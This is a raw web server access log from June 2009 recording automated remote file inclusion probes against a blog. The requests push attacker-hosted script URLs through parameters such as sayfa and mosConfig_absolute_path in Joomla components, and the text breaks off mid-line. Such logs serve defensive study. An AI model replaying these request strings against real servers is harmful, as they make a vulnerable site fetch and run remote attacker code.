[18/Jun/2009:17:05:10 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 746 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:11 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111144 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:13 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 804 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:14 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 750 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:14 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 47041 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:15 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 744 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:14 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111182 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:16 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 804 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:16 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 750 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:16 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 111124 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:17 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 47042 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:17 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 110904 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:20 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:21 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 748 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:21 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 47018 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:22 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 111248 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:06:14 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 781 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:06:15 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 36339 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:06:16 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 781 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:06:17 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 36340 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:06:21 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 779 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:06:22 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 36322 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:09 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:10 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 804 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:11 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 47042 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:12 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:13 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 804 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:14 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 47041 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:18 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 800 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:19 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:07:19 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 47018 "-" "libwww-perl/5.63" 200.158.62.156 - - [18/Jun/2009:17:08:27 -0600] "GET /index.php?sayfa=http://two.xthost.info/gks/nice.txt??? HTTP/1.0" 302 777 "-" "Mozilla/3.0 (compatible; Indy Library)" 200.158.62.156 - - [18/Jun/2009:17:10:10 -0600] "GET /index.php?sayfa=http://two.xthost.info/gks/pbot.txt?? HTTP/1.0" 302 776 "-" "Mozilla/3.0 (compatible; Indy Library)" 207.58.166.231 - - [18/Jun/2009:17:59:48 -0600] "GET /rfi.txt/errors.php?error=http://www.unreals.co.cc/tukulid.txt??? HTTP/1.1" 404 513 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 207.58.166.231 - - [18/Jun/2009:17:59:48 -0600] "GET /errors.php?error=http://www.unreals.co.cc/tukulid.txt??? HTTP/1.1" 302 767 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 207.58.166.231 - - [18/Jun/2009:17:59:51 -0600] "GET /errors.php?error=http://www.unreals.co.cc/tukulid.txt??? HTTP/1.1" 404 33646 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 66.46.177.182 - - [18/Jun/2009:18:01:08 -0600] "GET /errors.php?error=http://www.unreals.co.cc/v7.txt??? HTTP/1.1" 302 762 "-" "libwww-perl/5.79" 66.46.177.182 - - [18/Jun/2009:18:01:09 -0600] "GET /errors.php?error=http://www.unreals.co.cc/v7.txt??? HTTP/1.1" 404 33553 "-" "libwww-perl/5.79" 66.46.177.182 - - [18/Jun/2009:18:07:20 -0600] "GET /rfi.txt/errors.php?error=http://www.unreals.co.cc/v7.txt??? HTTP/1.1" 404 508 "-" "libwww-perl/5.79" 95.211.85.68 - - [18/Jun/2009:18:39:39 -0600] "GET /errors.php?error=http://www.unreals.co.cc/v7.txt??? HTTP/1.1" 302 762 "-" "libwww-perl/5.826" 95.211.85.68 - - [18/Jun/2009:18:39:45 -0600] "GET /errors.php?error=http://www.unreals.co.cc/v7.txt??? HTTP/1.1" 404 33552 "-" "libwww-perl/5.826" 95.211.85.68 - - [18/Jun/2009:18:48:49 -0600] "GET /rfi.txt/errors.php?error=http://www.unreals.co.cc/v7.txt??? HTTP/1.1" 404 508 "-" "libwww-perl/5.826" 91.149.157.130 - - [18/Jun/2009:18:51:25 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 404 595 "-" "Mozilla/5.0" 91.149.157.130 - - [18/Jun/2009:18:51:25 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 302 849 "-" "Mozilla/5.0" 91.149.157.130 - - [18/Jun/2009:18:51:26 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 404 33895 "-" "Mozilla/5.0" 200.44.126.182 - - [18/Jun/2009:19:02:29 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 302 846 "-" "Mozilla/5.0" 200.44.126.182 - - [18/Jun/2009:19:02:30 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 592 "-" "Mozilla/5.0" 200.44.126.182 - - [18/Jun/2009:19:02:31 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 33883 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:20:55:48 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:20:55:48 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:20:55:49 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:20:55:49 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:20:55:49 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33762 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:20:55:50 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33763 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:35:26 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:35:26 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:35:27 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:35:51 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:35:51 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:35:52 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:36:56 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:36:56 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:36:56 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:37:50 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:37:50 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:37:51 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:39:45 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:39:45 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:39:45 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:40:17 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:40:17 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 815 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:40:18 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33785 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:40:35 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:40:35 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:10:40:36 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 85.17.162.28 - - [19/Jun/2009:10:43:55 -0600] "GET /rfi.txt/administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.portalsana.com.br/SiJi?? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 85.17.162.28 - - [19/Jun/2009:10:43:55 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.portalsana.com.br/SiJi?? HTTP/1.1" 302 821 "-" "Mozilla/5.0" 85.17.162.28 - - [19/Jun/2009:10:43:56 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.portalsana.com.br/SiJi?? HTTP/1.1" 404 33784 "-" "Mozilla/5.0" 85.17.162.28 - - [19/Jun/2009:10:51:32 -0600] "GET /rfi.txt/administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.italiaiuta.org/docs/Conf?? HTTP/1.1" 404 569 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5" 85.17.162.28 - - [19/Jun/2009:10:51:32 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.italiaiuta.org/docs/Conf?? HTTP/1.1" 302 823 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5" 85.17.162.28 - - [19/Jun/2009:10:51:32 -0600] "GET /administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.italiaiuta.org/docs/Conf?? HTTP/1.1" 404 33797 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5" 217.147.29.190 - - [19/Jun/2009:10:53:04 -0600] "GET /rfi.txt///joinus.php?vwar_root=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 510 "-" "Mozilla/5.0" 217.147.29.190 - - [19/Jun/2009:10:53:07 -0600] "GET ///joinus.php?vwar_root=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 302 764 "-" "Mozilla/5.0" 217.147.29.190 - - [19/Jun/2009:10:53:09 -0600] "GET ///joinus.php?vwar_root=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 33550 "-" "Mozilla/5.0" 82.194.87.219 - - [19/Jun/2009:11:01:45 -0600] "GET //errors.php?error=http://www.laubrotel.com/media/id? HTTP/1.1" 302 763 "-" "libwww-perl/5.822" 82.194.87.219 - - [19/Jun/2009:11:01:46 -0600] "GET //errors.php?error=http://www.laubrotel.com/media/id? HTTP/1.1" 404 33549 "-" "libwww-perl/5.822" 202.70.83.4 - - [19/Jun/2009:11:02:28 -0600] "GET /rfi.txt/main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 533 "-" "libwww-perl/5.803" 202.70.83.4 - - [19/Jun/2009:11:02:37 -0600] "GET /main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 787 "-" "libwww-perl/5.803" 202.70.83.4 - - [19/Jun/2009:11:02:38 -0600] "GET /main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 15928 "-" "libwww-perl/5.803" 62.149.226.223 - - [19/Jun/2009:11:27:58 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:27:58 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 302 818 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:27:59 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 33797 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:28:00 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:28:00 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 302 818 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:28:01 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 33797 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:03 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:03 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:05 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:31:31 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:31:31 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 302 818 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:31:32 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 33797 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:37 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:37 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:38 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:31:40 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:31:40 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:31:41 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 33836 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:56 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:56 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 222.122.142.249 - - [19/Jun/2009:11:31:57 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33824 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:32:10 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:32:10 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 62.149.226.223 - - [19/Jun/2009:11:32:11 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.hongik.ac.kr/ad/counts/v5id1.txt?? HTTP/1.1" 404 33837 "-" "Mozilla/5.0" 83.103.72.130 - - [19/Jun/2009:11:33:17 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://med.buu.ac.th//components/com_joomlaboard/id1.txt?? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 83.103.72.130 - - [19/Jun/2009:11:33:17 -0600] "GET ///vwar/backup/errors.php?error=http://med.buu.ac.th//components/com_joomlaboard/id1.txt?? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 83.103.72.130 - - [19/Jun/2009:11:33:18 -0600] "GET ///vwar/backup/errors.php?error=http://med.buu.ac.th//components/com_joomlaboard/id1.txt?? HTTP/1.1" 404 33711 "-" "Mozilla/5.0" 123.143.98.5 - - [19/Jun/2009:12:02:51 -0600] "GET /rfi.txt/errors.php?absolute_path=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 123.143.98.5 - - [19/Jun/2009:12:02:51 -0600] "GET /errors.php?absolute_path=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 123.143.98.5 - - [19/Jun/2009:12:02:52 -0600] "GET /errors.php?absolute_path=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 33646 "-" "Mozilla/5.0" 123.143.98.5 - - [19/Jun/2009:12:03:09 -0600] "GET /rfi.txt/errors.php?absolute_path=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 123.143.98.5 - - [19/Jun/2009:12:03:09 -0600] "GET /errors.php?absolute_path=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 123.143.98.5 - - [19/Jun/2009:12:03:10 -0600] "GET /errors.php?absolute_path=http://dmpacking.com/bbs/data/main/mawar.txt?? HTTP/1.1" 404 33646 "-" "Mozilla/5.0" 207.210.89.18 - - [19/Jun/2009:12:44:43 -0600] "GET /skins/advanced/advanced1.php?pluginpath[0]=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 302 793 "-" "Avant Browser (http://www.avantbrowser.com)" 207.210.89.18 - - [19/Jun/2009:12:44:44 -0600] "GET /skins/advanced/advanced1.php?pluginpath0=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 404 33735 "-" "Avant Browser (http://www.avantbrowser.com)" 207.210.89.18 - - [19/Jun/2009:12:44:45 -0600] "GET /errors.php?error=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 302 769 "-" "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)" 207.210.89.18 - - [19/Jun/2009:12:44:45 -0600] "GET /errors.php?error=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 404 33688 "-" "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)" 85.17.162.28 - - [19/Jun/2009:13:22:15 -0600] "GET /rfi.txt/errors.php?error=http://www.portalsana.com.br/SiJi?? HTTP/1.1" 404 509 "-" "Mozilla/5.0" 85.17.162.28 - - [19/Jun/2009:13:22:15 -0600] "GET /errors.php?error=http://www.portalsana.com.br/SiJi?? HTTP/1.1" 302 763 "-" "Mozilla/5.0" 85.17.162.28 - - [19/Jun/2009:13:22:16 -0600] "GET /errors.php?error=http://www.portalsana.com.br/SiJi?? HTTP/1.1" 404 33552 "-" "Mozilla/5.0" 83.170.114.112 - - [19/Jun/2009:13:26:45 -0600] "GET ///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 302 803 "-" "libwww-perl/5.808" 83.170.114.112 - - [19/Jun/2009:13:26:46 -0600] "GET ///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 404 33724 "-" "libwww-perl/5.808" 189.33.181.118 - - [19/Jun/2009:13:29:23 -0600] "GET 